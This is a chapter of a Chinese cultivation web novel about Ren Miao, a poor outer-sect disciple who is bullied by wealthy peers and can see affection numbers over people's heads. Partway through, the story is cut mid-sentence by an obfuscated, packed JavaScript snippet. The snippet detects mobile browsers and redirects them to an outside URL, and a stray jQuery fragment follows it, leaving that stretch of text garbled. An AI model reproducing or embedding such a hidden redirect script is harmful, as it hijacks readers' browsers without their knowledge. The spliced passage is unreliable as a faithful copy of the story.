“什么?”
任妙掏灵石的手僵在半空,疑心自己听错了。
“小小年纪难不成有耳疾?”炊堂管事不耐烦地又重复一遍,“我说打烊了。”
后厨分明还有蒸腾热气,任妙刚要出声,却见一道流光闪过,卷高的竹帘啪地被打落,完全遮住她视线。
她还想说什么,尖嘴猴腮的管事眼珠一转,抢话道:“也不看看什么时辰了!再不依不饶,小心我叫戒律堂来治你滋事!”
身后几位外门弟子嬉笑一片,对上她目光也不躲不避,反倒笑得更大声。他们腰上美玉、额带珠光及发端金银动作间溢彩更甚,将小小炊堂也映得明亮许多。
任妙被首饰折射出的光晕晃花了眼,心里头咕噜噜冒酸泡,恨不得掐个诀叫这些东珠、玉石和足金统统飞进她荷包里。
可惜她在外门五年都未掐成过一个诀,丹田也蓄不住灵力,是外门臭名昭著的钉子户——即便看出管事是因他们授意才不给她饭吃,也没有资格和这群二世祖作对。
穿越前吃不饱穿不暖,没想到穿越后也是如此。
她深吸口气,一边在脑海里想象着暴揍这群家伙的情形,一边拖着酸痛的身体往外走,不防鞋尖被什么东西绊中,向前一趴摔倒在地,激起身后得逞的哄笑。
她捂着额头压下怒火,慢慢爬起来。
有机会她定要把这些人通通绊个够。
身后忽然响起一道熟悉的带笑声音:“喂,我这还有,想吃么?”
她回头,见万东衡众星捧月般坐在富家子弟中间,发冠金光耀眼,坐没坐相地一脚踩着桌沿,动动手指,桌上那屉包子便听话地朝她移来几寸。
任妙肚子正合时宜地长叫一声,忍不住往前一步。
“哎哎,没说白送你呀,”万家近来出了个三十岁的雪境中阶,连带着万姓的名气都大了不少,万东衡或许与有荣焉,眼睛越发朝天上看了,“回去把门规抄了,明天顶我的当值杂役。”
言下之意这笼包子就算报酬了。
顶你个头。任妙暗骂一声。
所有欺软怕硬的二世祖里她最讨厌万东衡,其他人坏则坏矣,指使人至少会丢灵石,他却尤其抠门。
“不行啊,万少爷,”任妙垂着头,语气平平,“前两日,元大小姐也叫我顶她当值杂役,付了我五十灵石呢,若她知晓我一顿饭便帮你,恐怕……”
听到元思若的名字,这群人纷纷变了脸色。元家非一般家族可比,那可是有百年历史的四大世家之一,且元思若明明一年前才入轩辕剑宗外门,近来竟好似要摸到乌境门槛了,今日外门春试还一力拔得了头筹。
若太过压价就是明摆着打她的脸,收拾任妙事小,只怕家里人知道他们惹了元家,停掉月例就划不来了。
思及这层,万东衡看任妙更加火大。都怪她这样好差遣,外门的少爷小姐纷纷来差遣她,反叫自己占不到便宜了。
“三十灵石,爱要不要!”几枚大小不一的灵石骨碌碌滚到任妙脚前,“今日要不是你出来作怪,我们怎会被师长罚抄门规?这活你别想抵赖!”
任妙瞟了眼万东衡头顶,那处正悬着一串柔光闪烁的数字,旁边还跃动着一颗黑色心形符号。
-40,这是万东衡对她的好感度,经过今日又降了20点。
这是她穿越后多出来的天赋,那些仅她可见的数字、画面,都和她从前做网吧保洁时见过的游戏界面很像,她有时也疑心这会不会是什么游戏世界。
若这天赋能兑换灵石就好了。任妙不止一次遗憾地想道。
她狼吞虎咽啃着包子,往回屋路上走。
她眼睛一闭一睁就成了轩辕剑宗的新晋外门弟子,后来发现同期都是世家出身,个个有人帮衬,有钱打点,就算来求学,吃穿用度也是一等一的,听说不少人花了大价钱加塞,连入门考试都免了。
本应位置充足的弟子舍很快排满,管事只得将从前堆杂物的柴房腾出来,此处便落到了她这没权没钱的倒霉鬼头上。
快走到时夜风呼啸,吹得人眼都睁不开,卷落道旁不少枝叶。她从地上捡了根长树枝,在门前半人高的杂草丛里挑挑戳戳,确认没有蛇虫鼠蚁才迈步进去。
年久失修的柴门发出狰狞的吱呀声,屋内黑漆漆的,散发着又冷又重的灰尘气。任妙闻到风里浓郁的泥土味,赶紧套了蓑衣,爬上屋顶去修补不稳的缺口。
刚垒好瓦片,铺开草皮,雨便不由分说浇下来了,雨水滴滴答答顺着她脸颊、手臂、瓦隙流进屋内,她无暇顾及身体酸痛,手上加快不少。
不远处灯火次第点亮,雨幕连成一片,黑夜氤氲,山色朦胧,橘黄火光鳞次栉比,煞是好看。
那是弟子舍的灯火,金线锦衣的少爷小姐开始点灯做功课了。
前几日她替人顶值内务迟了时辰,才知道许多弟子舍夏有冰盆,冬有地笼,几上放着精巧的零嘴点心,连笔墨纸砚都散发着特殊的馥郁香气。
随便一样都值几百上千灵石……若她也能有这么多钱……
雨水打在身上,她猛地从神游中清醒过来,赶紧抹一把脸,飞快下地进屋。
她绝不能生病,治病太贵了。
任妙脱下蓑衣,赶紧找巾帕擦头脸的雨,擦到一半忽然想起什么,吐息放平,沉心入定。
视灵是修道之人的基本能力,任妙慢慢沉入五感,视野中逐渐涌出柔和微光,那光芒星星点点,如空中飞尘般四处游荡。她抬手掐了个标准的去水诀势,光点受到召唤,纷纷朝她身侧聚来,稀稀疏疏的灵气不多时便汇成一条轻巧的小鱼,径直游向她指端——
接着烟花般四散。
发尾雨水滑入衣襟,冻得任妙一个激灵。
师长曾言,修炼需引天地灵气入体,于丹田中融合炼化,运用时再随心意调动,取之自然,化为己用,方能自在从容、如臂使指,如此这般循环往复,逐步进境。臻化境者行走坐卧无不在引动灵气,更是不必依赖法宝或掐诀,一个念头便能移山填海。
但任妙之所以五年都未摸到内门门槛,正是因为她无法引灵入体。
每当她觉得要一举成功时,体内好似总有一股无形屏障阻隔,最后只好眼睁睁看着灵气四散奔逸。
好在只要坚持引气轮转,似乎总有几丝漏网之灵进入丹田,尤其服用聚灵丹后效益更佳。虽然普通修士能吸收引灵的十之七八,她所吸收不到十中之一,但这是她摸索出的唯一堪用的笨办法了。
所以她需要很多很多灵石,吃饭,练功,买聚灵丹。
灯火如豆,在风雨里飘飘摇摇,将她细瘦投影也拉扯得水纹般荡漾。
在修真界,最省钱的活法就是变强。突破乌境可引灵濯体,免去进食和睡眠;突破了雪境,人人都将高看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631920|206399||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你一眼,掂量着与你说话。
要是升入赤境……
任妙抄书的动作一顿。
轩辕剑宗就有个现成的例子。出身名门,师承大拿,七岁能引气,十三至乌境,十九及雪境,五年前离宗后或许早已达到赤境也说不定。他天赋之高,修道界百年以来无出其右,身上更有蝉联首席、名剑认主、斗塌秘境等诸多传说。
燕策白,轩辕剑宗的首席弟子,一个鲜活的传奇。
任妙甩甩抄酸的手,吐出一口长气。
史书有载,滥妖之劫前,修真天才与飞升大士多如繁星,然而劫数过后,灵脉坍塌、灵气颓败,才出现百年未有一人飞升的局面。因此燕策白这样的少年天才,往往倾注了整个宗门,乃至整个修真界的狂热期望。
大风挟着雨水,将窗棂敲得啪啪作响。任妙慌不择路趴在桌上压紧飞扬的纸张,忽觉后背一凉,抬头看去,瓦缝中间又在簌簌漏雨了。
她咬牙切齿地取下蓑衣,从对燕策白的思索中抽身出来。
像他这样的天之骄子,恐怕想要什么都招手即来,不必修葺屋顶,不会捉襟见肘,也不需要听任何人差遣。
命好得叫人妒忌。
破窗漏风,破瓦漏雨,任妙捂在冷冰冰的衾被中胡思乱想,彻夜难眠,次日大早起身当值时,她还有些身在梦中的恍惚。
她掏出刻着万东衡姓名的木牌,挂到山门旁的当值板上。
洒扫杂役需在早功开始前完成,骤雨初歇,放眼望去,宗门广场遍地落叶残枝,粗略一估也得花不少时间打扫,叫任妙心下烦闷。
她提着扫帚转过弯去,却见地面已收拢了好几摞落叶堆,树下抬起一双黑葡萄似的眼睛。
“啊!你来啦!我,我就是想多谢你昨日替我解围……我叫罗潇宵,刚进外门没多久,”小姑娘从树底下钻出来,一脸不好意思的干笑,“本来想倒卖消息赚钱……唉,谁知道仙门大宗这么复杂,早知道就不主动招揽客人了。”
罗潇宵是个奇人,出身市井,人脉广泛,消息无比灵通,在穷人堆里左右逢源——这些任妙早有耳闻。
昨日比试间隙,任妙见她向万东衡兜售对手弱点、功法套路云云,拍胸口打包票他能夺前十,哄得万东衡受用不已。
任妙想,看来她并不懂招惹这些二世祖有多愚蠢。
万东衡下台时脸色扭曲,果然结束便找了罗潇宵的麻烦。
任妙蹲在老树后边,掏出符箓课上画得歪歪扭扭的爆裂符,试了二三十次,终于引得一丝灵力灌入,在隐蔽林间爆出巨大声响,飞速引来附近师长,也让罗潇宵趁乱跑了。
即便被师长撞破欺凌同门,万东衡一行人也不过是被训一顿,再罚抄几遍门规。事后任妙不出意外被他们抓住,受了五个人的轮番“切磋”,还纹丝不动当了两个时辰的飞剑靶子。
所以她才错过了开饭时间,身上没有一处不痛。
“要是我们也能掐诀清扫就好了,”罗潇宵念念叨叨,“不知道祖师爷立这规矩什么意思,宗门弟子个个须轮流当值杂役,到头来还不是落在……咦,你看什么呢?”
悬浮的爱心随着罗潇宵疑惑回头的动作偏了偏,旁边泛着柔光的“60”更加醒目。
任妙盯着数字,满意地笑了。
“没什么,我是想说,原来我早就听过你的名字……对了,我叫任妙。”